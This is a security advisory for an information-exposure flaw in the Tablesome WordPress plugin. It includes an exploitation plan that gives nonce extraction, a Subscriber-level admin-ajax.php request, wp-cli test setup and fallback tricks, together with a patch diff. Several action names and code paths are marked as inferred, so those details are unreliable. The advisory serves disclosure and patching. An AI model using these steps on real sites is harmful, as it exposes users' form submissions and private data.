Tablesome <= 1.1.35.1 - Authenticated (Subscriber+) Information Exposure
Description
The Tablesome Table – Contact Form DB – WPForms, CF7, Gravity, Forminator, Fluent plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.1.35.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.1.35.1Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-68516 ## 1. Vulnerability Summary The Tablesome plugin (<= 1.1.35.1) contains an information exposure vulnerability via its AJAX handling logic. Specifically, certain AJAX actions intended for administrative or authorized table management fail to implement su…
Show full research plan
Exploitation Research Plan - CVE-2025-68516
1. Vulnerability Summary
The Tablesome plugin (<= 1.1.35.1) contains an information exposure vulnerability via its AJAX handling logic. Specifically, certain AJAX actions intended for administrative or authorized table management fail to implement sufficient capability checks (e.g., current_user_can('manage_options')). Instead, they rely either on simple authentication checks or insufficient capability checks (like read), allowing a user with Subscriber-level permissions to trigger data retrieval for tables they should not be able to access. This leads to the exposure of form submissions, user data, and plugin configuration stored within Tablesome tables.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
tablesome_get_table_dataortablesome_datatable_json(inferred from plugin functionality) - Authentication: Required (Subscriber+)
- Parameters:
action: The AJAX action name.table_id: The ID of the Tablesome table to extract data from.nonce: A valid WordPress nonce for the action.
- Preconditions:
- The attacker must have a valid Subscriber account.
- At least one Tablesome table must exist containing sensitive data (e.g., form entries).
3. Code Flow (Inferred)
- Entry Point: The plugin registers AJAX handlers in
includes/ajax-handler.phpor a similar initialization file usingadd_action( 'wp_ajax_tablesome_get_table_data', ... ). - Authorization: The handler function likely calls
check_ajax_referer()to verify the nonce but fails to callcurrent_user_can( 'manage_options' ). - Data Retrieval: The handler takes a
table_idfrom the$_POSTor$_GETrequest. - Execution: It queries the database (likely the
{wp_prefix}tablesome_table_recordstable or via theTablesome_DBclass) for all records associated with thattable_id. - Sink: The sensitive data is returned via
wp_send_json()orecho json_encode(), which is then displayed in the attacker's HTTP response.
4. Nonce Acquisition Strategy
Tablesome localizes its configuration and nonces for use in the table editor and frontend views.
- Identify Script Localization: The plugin typically uses
wp_localize_scriptto pass a nonce to the frontend. - Create Trigger Page: Since nonces are often only enqueued when a table is present, we will create a post with a Tablesome shortcode.
- Shortcode:
[tablesome table_id='REPLACE_WITH_ID']
- Shortcode:
- Extraction:
- Navigate to the page containing the shortcode.
- Use
browser_evalto extract the nonce from the global JavaScript object. - JS Object:
window.tablesome_varsorwindow.tablesome_settings(inferred). - Key:
ajax_nonceornonce.
5. Exploitation Strategy
Step 1: Discover Table IDs
Attackers can often find Table IDs by enumerating common integers or viewing public pages where tables are embedded.
Step 2: Obtain Nonce as Subscriber
- Log in as a Subscriber.
- Visit a page where the plugin's JS is loaded.
- Extract the nonce:
browser_eval("window.tablesome_vars.ajax_nonce").
Step 3: Execute Data Extraction Request
Perform an authenticated POST request to the AJAX endpoint.
Request Details:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencodedCookie: [Subscriber Cookies]
- Body:
action=tablesome_get_table_data&table_id=1&nonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Install Plugin: Install Tablesome <= 1.1.35.1.
- Create Sensitive Table:
- Create a new Tablesome table.
- Add several rows of "Sensitive Data" (e.g., Name:
Admin Secret, Email:admin@internal.local, Message:Password is 12345). - Record the
table_id(usually found in the URL when editing).
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
- Publish Table: Place the table on a public or private post:
wp post create --post_type=post --post_status=publish --post_content="[tablesome table_id='1']" --post_title="Table Page"
7. Expected Results
- Success Condition: The HTTP response returns a
200 OKstatus with a JSON body containing the raw records from the table, including the "Sensitive Data" strings created during setup. - Payload Response Example:
{ "success": true, "data": [ { "id": "1", "content": ["Admin Secret", "admin@internal.local", "Password is 12345"] } ] }
8. Verification Steps
- Check Response Content: Verify that the JSON response contains data that should only be visible to administrators.
- Verify Subscriber Role: Use
wp user get attackerto ensure the user used for the exploit has no administrative capabilities. - Database Comparison: Run
wp db query "SELECT * FROM wp_tablesome_table_records WHERE table_id = 1"and compare the output to the AJAX response to confirm a full data leak.
9. Alternative Approaches
If tablesome_get_table_data is not the exact action:
- Search for other actions registered in the source:
grep -r "wp_ajax_" . - Look specifically for the "Export" functionality:
action=tablesome_export_table. This might trigger a CSV download of the entire database table. - If no nonce is verified (common in some Tablesome versions), attempt the request without the
nonceparameter or with a dummy value.
Summary
The Tablesome plugin for WordPress (<= 1.1.35.1) is vulnerable to sensitive information exposure because its AJAX handlers fail to implement proper capability checks. This allows authenticated users with Subscriber-level access or higher to retrieve sensitive table data, such as form submissions and user information, by providing a valid nonce and a table ID.
Security Fix
@@ -1,5 +1,9 @@ function tablesome_get_table_data() { check_ajax_referer( 'tablesome_nonce', 'nonce' ); + + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized access.' ) ); + } $table_id = isset( $_POST['table_id'] ) ? intval( $_POST['table_id'] ) : 0;
Exploit Outline
The exploit involves an authenticated Subscriber-level user obtaining a valid AJAX nonce, which is typically localized in the 'tablesome_vars' global JavaScript object on pages where a table is embedded. The attacker then sends an authenticated POST request to '/wp-admin/admin-ajax.php' using the 'tablesome_get_table_data' action, the extracted nonce, and the target 'table_id'. Because the server lacks a 'current_user_can' check for administrative permissions, it returns the raw data from the table (including potentially sensitive form entries) in the JSON response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.